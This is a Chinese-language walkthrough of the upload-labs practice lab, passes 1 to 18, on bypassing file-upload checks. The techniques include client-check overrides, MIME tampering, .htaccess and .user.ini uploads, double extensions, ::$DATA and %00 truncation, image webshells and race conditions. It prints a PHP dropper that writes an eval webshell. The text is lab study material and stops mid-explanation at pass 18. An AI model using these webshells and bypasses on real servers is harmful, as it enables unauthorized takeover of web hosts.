练练文件上传
pass-01(前端验证)
前端判断了文件类型
可以直接利用bp拦截抓包改包
这里我们直接利用浏览器控制台让他这个函数直接返回true
1 checkFile = function() { return true; };
控制台直接执行
直接上传php文件即可
pass-02(MIME验证)
这里只进行了文件类型的判断,用户可以通过改包的方式,用户可控
pass-03(黑名单验证,特殊后缀)
黑名单。直接上传.htaccess
强制解析jpg文件,或者上传php3,php4,或者phtml,他这里应该是考后者
可以解析
pass-04(黑名单验证,.htaccess)
还是黑名单,过滤了一堆
这里也没有过滤我们的.htaccess
可以进行解析jpg文件
但是这里他还有一个逻辑漏洞,可以绕过他这个过滤
他没有提前对我们上传的文件进行重命名操作,所以我们可以利用双重拓展名来绕过前面的一系列操作
类似于我们传shell.php.jpg
pass-05(大小写绕过)
第一眼跟第四关没区别。看了下提示发现
禁用了我们的.htaccess
,所以我们依然可以用双拓展名绕过
也可以上传.user.ini
解析我们上传的jpg
pass-06(黑名单验证,.user.ini.) 没看出来区别
他又放开了.htaccess
而且我们的双拓展名依旧可以绕过
pass-07
依旧双拓展名绕过
pass-08(黑名单验证,特殊字符::$DATA绕过)
shell.php::$DATA
依旧双拓展名绕过
pass-09
依旧双拓展名绕过
pass-10
依旧双拓展名绕过
或者
shell.php::$DATA
pass-11(%00截断) 终于用上白名单了
可以看到这里用户可以控制上传的路径
考虑用%00截断
因为在c语言的底层/0
代表终止 ,php的底层代码就是c语言,%00 urldecode 就是/0 所以可以截断
1 ?save_path=../upload/1.php%00
pass-12
刚刚是get传参,这次是post,一样的道理
%00截断
post我们需要在十六进制里面去修改
pass-13 图片马
图片马,加文件包含
直接上传即可
他这里取了前两个字节,我们要保证我们的图片马 开头是 .PNG. GIF89a 等
然后文件包含直接利用即可
pass-14
一样的跟13关
pass-15
我们的图片马经过了精心的处理。所以这个我们也可以直接上传
pass-16
这里他把我们的图片经过了二次渲染后在进行判断。所以我们要保证我们的图片在二次渲染后php代码还存在
我们可以随便先上传一个图片
然后将上传的图片下载下来,用010editor 观察两张图片前后未变化的部分,然后在这部分插入我们的php代码
推荐用GIF图片
pass-17
代码处理流程
移动文件到指定路径
判断文件后缀是否符合
符合则重命名
不符合则删除文件
这里存在逻辑的问题,先移动文件到指定目录再判断是否符合并删除。服务器处理代码时总会存在一定的时间差,当我们在上传文件后就多次快速尝试访问目标文件,那么是不是有机会在删除前成功访问文件。而如果文件的代码是重新创建一个木马文件,新木马文件则永远不会被删除了!
1 2 3 4 5 6 7 <?php $webshell = '<?php @eval($_POST["1"]); ?>'; file_put_contents('1.php', $webshell); echo "Webshell created as 1.php"; ?>
pass-18条件竞争+apache解析漏洞 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 //index.php $is_upload = false; $msg = null; if (isset($_POST['submit'])) { require_once("./myupload.php"); $imgFileName =time(); $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName); $status_code = $u->upload(UPLOAD_PATH); switch ($status_code) { case 1: $is_upload = true; $img_path = $u->cls_upload_dir . $u->cls_file_rename_to; break; case 2: $msg = '文件已经被上传,但没有重命名。'; break; case -1: $msg = '这个文件不能上传到服务器的临时文件存储目录。'; break; case -2: $msg = '上传失败,上传目录不可写。'; break; case -3: $msg = '上传失败,无法上传该类型文件。'; break; case -4: $msg = '上传失败,上传的文件过大。'; break; case -5: $msg = '上传失败,服务器已经存在相同名称文件。'; break; case -6: $msg = '文件无法上传,文件不能复制到目标目录。'; break; default: $msg = '未知错误!'; break; } } //myupload.php class MyUpload{ ...... ...... ...... var $cls_arr_ext_accepted = array( ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt", ".html", ".xml", ".tiff", ".jpeg", ".png" ); ...... ...... ...... /** upload() ** ** Method to upload the file. ** This is the only method to call outside the class. ** @para String name of directory we upload to ** @returns void **/ function upload( $dir ){ $ret = $this->isUploadedFile(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } $ret = $this->setDir( $dir ); if( $ret != 1 ){ return $this->resultUpload( $ret ); } $ret = $this->checkExtension(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } $ret = $this->checkSize(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } // if flag to check if the file exists is set to 1 if( $this->cls_file_exists == 1 ){ $ret = $this->checkFileExists(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } } // if we are here, we are ready to move the file to destination $ret = $this->move(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } // check if we need to rename the file if( $this->cls_rename_file == 1 ){ $ret = $this->renameFile(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } } // if we are here, everything worked as planned :) return $this->resultUpload( "SUCCESS" ); } ...... ...... ...... };
在index.php中,首先new了一个MyUpload类,传入了上传的文件名,临时名,文件大小,随机time名(这个随机time和文件最终名字有关)
然后传入UPLOAD_PATH给upload函数(也就是吧../upload传入),那么我们得看看类里面的代码才知道具体发生了什么。。
对类初始化的时候调用Myupload函数,传入对应参数赋值
在upload函数中,是先进行文件路径、后缀、大小判断,然后文件移动、重命名。这里就出现很经典的逻辑问题了,先移动再重命令,就可以利用条件竞争对其进行访问。
可是问题出现了,其对文件上传后缀进行了检验,只能白名单上传
这里就要配合到apache的解析漏洞,在apache版本符合条件下,对mime.types中没有涉及的文件后缀不会解析,查看httpd.conf文件下的mime.types,没有发现7z后缀,说明不会解析7z文件
比如test.php.7z
这个文件,apache的解析是从后往前,当7z不能解析时,其向前解析一直到可以解析的后缀为止,所以将test.php.7z
当作test.php
执行。但是文件后缀上传后还是test.php.7z
全称吗?看看代码,经过rename之后,文件名被修改为upload+time()函数的值+最后一个小数点后的后缀名,即变成了upload+time.7z
这样,没有php了我们如何利用?
这里就需要配合刚才说的条件竞争漏洞了,在rename之前是move操作,move后的极短时间内是没有rename的,我们通过频发发包访问达到目的。这里需要提一下,这关的文件上传目录不是在upload目录下,应该是作者不小心忽略的原因,所以会导致文件名中有个upload,但是不影响做题,如果想修改为upload目录下,则需要在rename函数中添加/
即可
我们原题吧
开始抓包
一个为上传包,一个为访问包